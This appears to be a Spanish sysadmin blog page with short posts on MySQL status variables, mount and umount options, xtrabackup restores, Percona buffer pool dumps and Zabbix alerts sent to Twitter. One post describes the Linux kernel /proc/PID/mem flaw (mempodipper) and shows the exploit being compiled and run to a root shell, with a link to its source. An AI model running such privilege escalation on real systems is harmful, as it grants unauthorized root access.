Hay veces que puede interesar saber el número máximo de conexiones que un determinado servidor de MySQL ha recibido. Para ello MySQL tiene una variable que indica dicho valor, que es el máximo desde el último arranque que se haya efectuado. Esta variable es Max_used_connections y para consultarla, únicamente hay que consultar el estado del servidor, tal como sigue.


mysql> show status like '%max_used%';
+----------------------+-------+
| Variable_name        | Value |
+----------------------+-------+
| Max_used_connections |   219 | 
+----------------------+-------+
1 row in set (0.00 sec)
Esto en sí ya es una gran ayuda, pero hoy buscando cosas interesantes para MySQL, descubrí un parche muy útil y que ayuda a complementar esta información. Lo que hace es almacenar la hora a la que se ha producido el pico máximo de conexiones, una información más útil si interesa evaluar si el pico de conexiones pudo provocar un fallo o alguna alteración en el servicio.
Si se aplica el parche y se compila MySQL, el resultado que se obtendrá será el siguiente,
mysql> show status like 'Max_used%';
+-------------------------+------------+
| Variable_name           | Value      |
+-------------------------+------------+
| Max_used_connections    |        219 |
| Max_used_connections_ts | 1327591515 |
+-------------------------+------------+
2 rows in set (0.00 sec)
Leer más

Pequeño truco de umount

Si recientemente hablé de un truco para mount, hoy toca hablar de un pequeño truco, nuevamente una opción, para umount. Hay veces que por diversos motivos, especialmente en puntos de monjate de NFS, éste se vuelve inaccesible y al intentar desmontarlo la consola deja de responder y no es posible efectuarlo. Para solucionar estos casos, existe la opción -f, que realiza un forzado para que se desmonte.
shell> umount -f /mnt/nfs
Leer más

TAG a query en MySQL

Hay veces que poder identificar qué programa está accediendo a la base de datos y está realizando las consultas puede ser muy útil.
Imaginémonos una base de datos que es accedida por 4 frontends diferentes y 2 programas de acceso a la API. Sabemos que uno de ellos hace algo raro, pero no sabemos cual es que realiza las temidas slow query's. Para saber cual es que culpable de dichas consultas, existen varias formas, una de ellas es, por ejemplo, diferenciar las conexiones por usuario, algo que luego será fácil de filtrar, otra sería también por equipo origen de la conexión. La última, podría ser incluir un pequeño tag en la query que incluya el nombre de la aplicación y así saber el origen de la misma. Como se verá a continuación, esto es bastante simple de realizar.
mysql> SELECT /*ZBX WEB 3*/ * FROM hosts;
Si esta consulta, aunque simple provoca que sea lenta con la cantidad de datos que tiene, luego se podrá consultar en el fichero de las slow query's. Tal como se puede observar a continuación y por lo tanto, saber qué aplicación es la que ha provocado dicha consulta, es muy simple, ya que en la propia consulta está el programa que la ha generado.
shell> cat /var/log/mysql/slow.log
  # Time: 120130 13:52:59
  # User@Host: zabbix[zabbix] @ localhost []  Id:  1335
  # Query_time:7.0377 Lock_time:5.0140 Rows_sent:19402 Rows_examined:0
  use zabbix;
  SET timestamp=1327927979;
  SELECT /*ZBX WEB 3*/ * FROM hosts;
Leer más

Pequeño truco de mount

mount es un comando bastante complejo y que tiene muchas utilidades, pero hoy os quiero presentar un pequeño truco, realmente opción, que permite montar automáticamente todos las particiones listadas en el fichero /etc/fstab. La opción -a, que hará tras su ejecución que todos los puntos de montaje se monten en caso de que no lo estén.
shell> mount -a
Leer más

xtrabackup de 5.1 a 5.5

Puede ser por falta de ganas de actualizar, porque tras una catástrofe en un servidor de base de datos el que encontramos nuevo tiene otra versión, o simplemente como forma de cambio de una versión a otra, pero si, con un backup de xtrabackup pasamos de una versión 5.1 a una 5.5, obtendremos un interesante fallo que no deja arrancar el servicio. Algo similar a esto:
120127 14:18:05 [Note] Plugin 'FEDERATED' is disabled.
/usr/sbin/mysqld: Table 'mysql.plugin' doesn't exist
120127 14:18:05 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it.
120127 14:18:05 InnoDB: The InnoDB memory heap is disabled
120127 14:18:05 InnoDB: Mutexes and rw_locks use GCC atomic builtins
120127 14:18:05 InnoDB: Compressed tables use zlib 1.2.3
120127 14:18:05 InnoDB: Using Linux native AIO
120127 14:18:06 InnoDB: Initializing buffer pool, size = 3.0G
120127 14:18:06 InnoDB: Completed initialization of buffer pool
120127 14:18:06 InnoDB: highest supported file format is Barracuda.
InnoDB: 127 rollback segment(s) active.
120127 14:18:06  InnoDB: Waiting for the background threads to start
120127 14:18:07 Percona XtraDB (http://www.percona.com) 1.1.8-20.1 started; log sequence number 910610240524
120127 14:18:07 [ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.host' doesn't exist
120127 14:18:07 mysqld_safe mysqld from pid file /srv/mysql/mysql.pid ended
Este fallo viene originado por que la base de datos mysql no contiene las tablas que la versión espera y necesita al restaurarla del xtrabackup, como ya se explicó.
Para solucionar este fallo, simplemente hay que instalar el schema base del MySQL.
shell> mysql_install_db --user=mysql --ldata=/srv/mysql
Este proceso no sobrescribirá información importante de la importación, como las demás tablas creadas y sí permitirá crear las tablas que faltan en el MySQL. Tras finalizar su ejecución, se levanta el servicio nuevamente y se comprueba que todo está correcto.
shell> service mysql start
shell> mysql_upgrade -u root
Como nota importante cabe decir que los usuarios, y demás permisos que se almacenan en la base de datos mysql se han perdido, por lo que sí habría que volver a crearlos. No quedan afectados los datos de la base de datos restaurada, eso sí.
Leer más

Llenado del 'buffer pool' en InnoDB, Percona

Si estás trabajando con una arquitectura MASTER-SLAVE y necesitas un óptimo rendimiento, puede darse el caso de que cuando el servidor SLAVE entra en funcionamiento, todas las consultas que estaban ya en caché en el MASTER en éste no están y eso conlleva un gran problema, ya que las primeras consultas serán muy lentas y habrá que ir a buscar todos los datos a disco. Si trabajamos en un sistema de alto rendimiento y disponibilidad, esto puede tener consecuencias importantes, como parón en el servicio o carga muy alta en el servidor de base de datos.
para solucionar ésto, tradicionalmente se empleaba un método más rudimentario, que era lanzar cada X tiempo un script que realizase dichas consultas y por lo tanto, MySQL las pre-cachease. Esto no tenía mucho sentido, por lo que la gente de Percona optó por crear una forma más óptima de realizar este llenado del buffer de las tablas InnoDB y evitar así que en el arranque del SLAVE las consultas sean tan pesadas.
Para usar esta facility,
  • Crear un dump del buffer_pool
    mysql> use information_schema;
    mysql> select * from XTRADB_ADMIN_COMMAND /*!XTRA_LRU_DUMP*/;
    
  • Subir un dump a memoria
    mysql> use information_schema;
    mysql> select * from XTRADB_ADMIN_COMMAND /*!XTRA_LRU_RESTORE*/;
    
    
  • Programar un dump cada X segundos
    mysql> set innodb_auto_lru_dump = 60;
    
  • Cargar automáticamente un dump tras reinicio
    shell> vi /etc/my.cnf
      innodb_buffer_pool_restore_at_startup=1
    
Leer más

Linux Local Exploit

Recientemente ha salido un exploit que afecta a las versiones del kernel >= 2.6.39 y que permite escribir directamente en el interfaz mem de los procesos /proc/PID/mem. El problema está en que el los kerneles afectados se consideraba suficiente la protección contra acceso no autorizado, por lo que se retiró la directiva #ifdef, que impedía dicha escritura. El resultado, cualquier persona que tenga los permisos adecuados, puede escribir en dicha memoria. Por supuesto, este bug sólo puede ser explotado a nivel local, pero aún así es peligroso.
Un ejemplo del exploit en funcionamiento.
shell> uname -r
3.0.0-12-generic
shell> ls
mempodipper.c
shell> whoami 
javier
shell> gcc mempodipper.c -o mempodipper
shell> ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4384/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049510.
[+] Executing su with shellcode.
# whoami
root
# p0wned!

Para más información: http://blog.zx2c4.com/749
Un exploit: http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

Por el momento no hay un parche disponible que solucione el fallo. La solución, trabajar con kerneles menores de la versión 2.6.39, que no están afectados.
Leer más

Zabbix: Alertas a Twitter

Zabbix, del que ya hablamos en este blog muchas veces es una excelente herramienta de monitorización que permite muchos tipos de alertas, perfectamente configurables. Dichas alertas se puede enviar al correo, jabber y por sms. Sin embargo, enviarlas al teléfono móvil es más complicado y tiene un coste adicional (coste del sms). Es por ello que aprovechando la tecnología actual escribí un pequeño script que permite el envío de dichas alertas como un tweet y por lo tnato, desde un smartphone móvil lo podrías consultar.
A continuación, vamos a explicar cómo configurar de forma sencilla las alertas en Zabbix para enviarlas a Twitter.
  1. Instalar el módulo python de envío a Twitter
    Para enviar las alertas a Twitter usaremos la librería tweepy, escrita en python. Para descargarla, desde github se puede hacer perfectamente.
    shell> apt-get install python-setuptools
    shell> git clone git://github.com/tweepy/tweepy.git
    shell> cd tweepy
    shell> python setup.py install
    
  2. Crear y configurar la cuenta de Twitter
    Ahora toca crear la nueva cuenta de Twitter. Vamos a su web oficial y se crea una nueva cuenta.
    Yo aquí personalmente prefiero dejar la cuenta cerrada, ya que serán tweet's con información que sólo a determinada gente le puede interesar. Se crea la cuenta y sólo se permite que la gente autorizada lo sigua.
    Desde hace algún tiempo, la API de Twitter sólo permite comunicarse con ella usando claves de aplicación, lo que se conoce como autenticación oauth, por lo tanto hay que dar de alta ahí una nueva aplicación. Se puede hacer desde aquí (dev.twitter.com/apps) y sólo hay que dar de alta una nueva aplicación que tenga permisos para escribir en el TimeLine. Lo que nos interesa de estos datos son únicamente las claves, pública y secreta y las claves de aplicación, que se usarán en el siguiente punto.
  3. Script de alerta
    Llegados a este punto, está ya instalada la librería de envío de datos a Twitter y también tenemos las claves para poder enviar información a la cuenta desde una aplicación, por lo tanto, sólo queda realizar un pequeño script al que se le envíe información y éste la convierta en un tweet. El código necesario para hacerlo será el que sigue, que se guardará en /etc/zabbix/alert.d/twitter.py
    #!/usr/bin/python
    
    import sys
    import tweepy
    
    CONSUMER_KEY = 'RZ5Xxxxxxxxxxxxxxxxxxx'
    CONSUMER_SECRET = '35YRxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    ACCESS_KEY = '4610xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    ACCESS_SECRET = 'SoBexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    
    auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
    auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)
    api = tweepy.API(auth)
    api.update_status(sys.argv[2])
    
    La explicación del código es sencilla. Se importan las librerías y a continuación se ponen las claves que obtuvimos del punto anterior, que serán las que permitan autenticar a nuestra aplicación en Twitter y así enviar las alertas. A continuación se realizar la atutenticación y si todo está correcto, se actualiza el estado del tweet, es decir, se hace una nueva publicación con el segundo parámetro que se le pasa al script.
    Zabbix, al generar la alerta envía dos campos, el primero una dirección de correo o jabber y el segundo el contenido del mensaje (esto, obviamente es modificable). Puesto que no nos interesa saber el usuario que generó la alerta, sino únicamente la alerta, se coge el segundo parámetro, sys.argv[2].
    Nota: Hay que dar permisos de ejecución al script, para ello, chmod +x twitter.py
  4. Configurar zabbix
  5. Ahora que ya tenemos todo listo, únicamente falta crear un nuevo medio para que responda ante una alerta y configurar el tipo de alertas.
    1. Crear un nuevo medio
      Vamos a: "Administration/Media types/Create Media Type"
    2. Configurar alertas para un usuario
      Vamos a: "Administration/Users/Users".
      Elegimos un usuario y le añadimos el nuevo medio que acabamos de crear.
    3. Creamos una nueva acción
      En "Configuration/Actions" -> Create Action.
      Los datos a configurar en Action:
      • Name: Twitter
      • Event source: triggers
      • Default subject: "{TRIGGER.STATUS}: {TRIGGER.NAME}"
      Los datos a configurar en Action conditions:
      • Trigger severity >= "Average", para que sólo se envíen alertas que se consideren importantes. Si se quieren recibir todas, no poner ninguna condición.
      Los datos a configurar en Action operations:
      • Operation type: Send message
      • Send message to: Single User
      • Send only to: Tweet
      • Default message: Check.
    4. Comprobaciones
      A partir de este momento, cualquier alerta que salte y coincida con la condición de la alerta ahora configurada se enviará al Twitter.
      Si vamos a "Administration/Notifications", podremos ver la cantidad de mensajes enviados.
      Si vamos a Twitter, también se podrá ver cómo efectivamente llegan los mensajes.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios